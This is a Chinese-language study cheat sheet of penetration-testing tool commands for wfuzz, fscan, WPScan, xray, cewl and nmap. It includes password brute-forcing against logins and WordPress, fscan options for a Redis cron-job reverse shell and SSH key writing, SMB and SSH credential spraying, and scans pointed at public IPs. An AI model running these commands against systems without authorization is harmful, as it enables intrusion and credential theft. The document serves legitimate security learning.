渗透工具使用记录
前言
记录一下在学习中用过的一些工具,做个汇总,方便查看。
wfuzz
wfuzz是一个用python编写的用来进行web模糊测试的工具。
爆破密码
wfuzz -v -w pass.txt -d "username=admin&password=FUZZ" --hh 206 -u http://{target_ip}/login.php
目录爆破
wfuzz -w php.txt -u http://192.168.247.142/FUZZ --hc 404
--hc 404
就是隐藏返回值404的页面
同时FUZZ多个位置
wfuzz -c -z file,file1.txt -z file,file2.txt --sc 200 -u http://{target_ip}/FUZZ?FUZ2Z=1
fscan
fscan是一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。
支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。
基本用法
fscan.exe -h 192.168.1.1/24 (默认使用全部模块)
fscan.exe -h 192.168.1.1/16 (B段扫描)
其他用法
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)
fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
fscan.exe -hf ip.txt (以文件导入)
fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量)
fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基础上,加入3389->rdp扫描)
完整参数
-c string
ssh命令执行
-cookie string
设置cookie
-debug int
多久没响应,就打印当前进度(default 60)
-domain string
smb爆破模块时,设置域名
-h string
目标ip: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
-hf string
读取文件中的目标
-hn string
扫描时,要跳过的ip: -hn 192.168.1.1/24
-m string
设置扫描模式: -m ssh (default "all")
-no
扫描结果不保存到文件中
-nobr
跳过sql、ftp、ssh等的密码爆破
-nopoc
跳过web poc扫描
-np
跳过存活探测
-num int
web poc 发包速率 (default 20)
-o string
扫描结果保存到哪 (default "result.txt")
-p string
设置扫描的端口: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")
-pa string
新增需要扫描的端口,-pa 3389 (会在原有端口列表基础上,新增该端口)
-path string
fcgi、smb romote file path
-ping
使用ping代替icmp进行存活探测
-pn string
扫描时要跳过的端口,as: -pn 445
-pocname string
指定web poc的模糊名字, -pocname weblogic
-proxy string
设置代理, -proxy http://127.0.0.1:8080
-user string
指定爆破时的用户名
-userf string
指定爆破时的用户名文件
-pwd string
指定爆破时的密码
-pwdf string
指定爆破时的密码文件
-rf string
指定redis写公钥用模块的文件 (as: -rf id_rsa.pub)
-rs string
redis计划任务反弹shell的ip端口 (as: -rs 192.168.1.1:6666)
-silent
静默扫描,适合cs扫描时不回显
-sshkey string
ssh连接时,指定ssh私钥
-t int
扫描线程 (default 600)
-time int
端口扫描超时时间 (default 3)
-u string
指定Url扫描
-uf string
指定Url文件扫描
-wt int
web访问超时时间 (default 5)
WPscan
kali自带的word press扫描工具
扫描漏洞:
wpscan --url http://{site}/
添加参数
--api-token
可以看到更详细的漏洞信息。
扫描用户
wpscan --url http://{site}/ --enumerate u
扫描主题
wpscan --url http://{site}/ --enumerate t
扫描主题中的漏洞
wpscan --url http://{site}/ --enumerate vt
扫描插件和插件中的漏洞
wpscan --url http://{site}/ --enumerate p
wpscan --url http://{site}/ --enumerate vp
密码爆破
wpscan --url https://{site}/ -e u --passwords passwords.txt
xray
xray是一款功能强大的安全评估工具
主动扫描
使用基础爬虫爬取目标并进行扫描。
xray webscan --basic-crawler http://example.com --html-output xxx.html
使用浏览器爬虫爬取目标并进行扫描。
xray webscan --browser-crawler http://example.com --html-output xxx.html
扫描单个url
xray webscan --url http://example.com/ --html-output single-url.html
被动代理
1、生成证书
./xray genca
2、将证书导入浏览器
先导入证书,后配置代理。
不同浏览器方法不一样,参考文档。
3、启动代理
xray webscan --listen 127.0.0.1:7777 --html-output xxx.html
cewl
cewl是一个 ruby 应用,爬行指定url的指定深度。也可以跟一个外部链接,结果会返回一个单词列表,这个列表可以扔到John the ripper工具里进行密码破解。cewl还有一个相关的命令行 工具 应用FAB,它使用相同的元数据提取技术从已下载的列表中创建作者/创建者列表。
使用帮助
cewl -h
默认方法
输入下列命令之后,爬虫会根据指定的URL和深度进行爬取,然后打印出可用于密码破解的字典:
cewl http://www.ignitetechnologies.in/
保存字典文件
为了方便记录,或者为将来的研究提供参考,Cewl可以将打印出的字典存储为文件。这里可以使用-w参数来将密码字典存储为text文件:
cewl http://www.ignitetechnologies.in/ -w dict.txt
可以使用下列命令查看密码字典是否存储成功,我们的存储路径为/root /dict.txt:
cat dict.txt
生成特定长度的字典
如果你想生成指定长度的密码字典,你可以使用-m选项来设置:
cewl http://www.ignitetechnologies.in/ -m 9
上述命令将生成长度至少为9位的密码
从网站中获取Email
你可以使用-e选项来启用Email参数,并配合-n选项来隐藏工具在爬取网站过程中生成的密码字典:
cewl http://www.ignitetechnologies.in/ -n -e
计算网站字典中重复的单词数量:
如果你想要计算目标网站中某个词的重复出现次数,你可以使用-c选项来开启参数计算功能:
cewl http://www.ignitetechnologies.in/ -c
提取调试信息
你可以使用--debug选项来开启调试模式,这样就可以查看网站爬取过程中出现的错误和元数据了:
cewl http://www.ignitetechnologies.in/ --debug
Verbose模式
为了扩展网站爬取结果,并获取更加完整的数据报告,你可以使用-v选项来进入verbose模式。该模式下,Cewl会导出目标网站的详细数据:
cewl http://www.ignitetechnologies.in/ -v
生成包含数字和字符的字典
如果你想生成包含数字和字符的字典文件,你可以在命令中使用–with-numbers选项:
cewl http://testphp.vulnweb.com/ --with-numbers
Cewl摘要/基础认证
如果目标网站需要进行页面登录认证的话,我们就要使用下列参数来绕过页面认证的限制:
–auth_type: Digest or basic.
–auth_user: Authentication username.
–auth_pass: Authentication password.
cewl http://192.168.1.105/dvwa/login.php --auth_type Digest --auth_user admin--auth_pass password -v
或者
cewl http://192.168.1.105/dvwa/login.php --auth_type basic --auth_user admin--auth_pass password -v
代理URL
如果目标网站设置了代理服务器的话,Cewl将无法使用默认命令来生成字典。此时你需要使用–proxy option选项来启用代理URL功能:
cewl --proxy_host 192.168.1.103 --proxy_port 3128 -w dict.txt http://192.168.1.103/wordpress/
nmap
Nmap(“网络映射器”)是用于网络发现和安全审计的免费开源实用程序。许多系统和网络管理员还发现,它对于网络资源清册、管理服务升级计划以及监控主机或服务正常运行时间等任务非常有用。Nmap以新颖的方式使用原始IP数据包来确定网络上有哪些主机、这些主机提供哪些服务(应用程序名称和版本)、它们正在运行哪些操作系统(和操作系统版本)、使用何种类型的数据包过滤器/防火墙,以及数十个其他特性。它被设计用于快速扫描大型网络,但在单台主机上运行良好。Nmap运行在所有主要的计算机操作系统上,Linux、Windows和Mac OS X都可以使用官方二进制软件包。除了经典的命令行Nmap可执行文件外,Nmap套件还包括一个高级GUI和结果查看器(Zenmap),一个灵活的数据传输、重定向和调试工具(Ncat),用于比较扫描结果的实用程序(Ndiff)和数据包生成和响应分析工具(Nping)。
简单扫描(默认会扫tcp 前1000端口)
nmap 192.168.16.100
端口扫描
指定端口:
nmap 192.168.16.100 -p 80
(单个端口)
nmap 192.168.16.100 -p 1-100
(多个端口)
nmap 192.168.16.100 -p-
(所有端口)
TCP全连接扫描:
nmap -sT 192.168.16.100 -p 80
优点:准确
缺点:速度慢,会留下大量、密集的日志记录
SYN半连接扫描:
nmap -sS 192.168.16.100 -p 80
优点:速度很快
缺点:就是不准并且需要root权限
目标主机版本(不是很准确)
nmap -O 192.168.16.100 -p 80
服务版本
nmap -O -sV 192.168.16.100 -p 80
全面扫描
nmap -A 192.168.16.100 -p-
保持结果
nmap -A 192.168.16.100 -p- -oN nmap1
路由追踪
nmap --traceroute 127.0.0.1
nmap设置扫描一个网段下的ip
nmap -sP 127.0.0.1 /24
扫描目标主机版本(不是很准确)
nmap -O 127.0.0.1 -p 80
扫描目标服务版本
nmap -O -sV 127.0.0.1 -p 80
全面扫描(包含了1-10000端口ping扫描,操作系统扫描,脚本扫描,路由跟踪,服务探测)
nmap -A 127.0.0.1 -p-
保存结果
nmap -A 127.0.0.1 -p- -oN nmap1
nmap命令混合式扫描
nmap -vv -p1-100 -o 127.0.0.1
扫描多个目标
nmap 127.0.0.1 127.0.0.2
扫描IP地址为127.0.0.1-127.0.0.100内的所有主机
nmap 127.0.0.1-100
namp在同一目录下,扫描这个txt内的所有主机
nmap -iL target.txt
注:使用时请将127.0.0.1更换为目标IP地址
nmap探测活跃主机
同网段优先使用arp探测:
当启动Namp主机活跃扫描时候,Nmap会对目标地址参数进行检查,如果与自身IP地址匹配到同一个子网内,Nmap会对该类目标采用arp协议进行探测。即使命令参数规定的是其他探测手段,也会先使用arp进行探测。这种方式效率高,速度快,但仅限于同一子网广播域中。
1 nmap -R 192.168.1.1
2 nmap -R 192.168.1.0/24
3 nmap 192.168.1.1
4 nmap 192.168.1.0/24
跨网段ICMP协议探测:
ICMP探测一ICMP echo:
常规PING探测,原理即为ping命令一样,但由于ping命令的滥用导致FW或者很多OS都会闲置ping包。特点:速度快,但探测不准确。
nmap -sP 114.114.114.114
ICMP探测二ICMP timestamp:
nmap发送ICMP timestamp报文,活跃主机会响应该报文,响应报文中包含当前系统时间。
nmap -PP 114.114.115.115
TCP探测:
如同常见的端口扫描原理,syn类的,ack类的,fin类的,空扫描等等。通过回应报文判断主机是否活跃。
1 nmap -sT 114.114.114.114 #TCP connect scan[three hand-shakes]
2 nmap -sS 114.114.114.114 #TCP SYN scan[syn->recv ack]
3 nmap -sA 114.114.114.114 #TCP ACK scan
4 nmap -sW 114.114.114.114 #TCP Window scan
5 nmap -sM 114.114.114.114 #TCP Maimon scan
6 nmap -sN 114.114.114.114 # TCP Null scan
7 nmap -sF 114.114.114.114 #TCP FIN scan
UDP探测:
UDP探测原理是根据活跃主机对未开放的端口会响应一个ICMP不可达报文来判断的。
1 nmap -PU 114.114.114.114#默认发送空UDP报文到40125端口
2 nmap -sU 114.114.114.114 -p 44444 #-p 指定端口
3 nmap -sU 114.114.114.114 -p 53 -Pn #-Pn 绕过ping扫描
IP 探测:
发送空的也可以指定负载大小的IP报文,可能收到响应报文为ICMP不可达报文。
1 nmap -sO 114.114.114.114
2 nmap -PO 114.114.114.114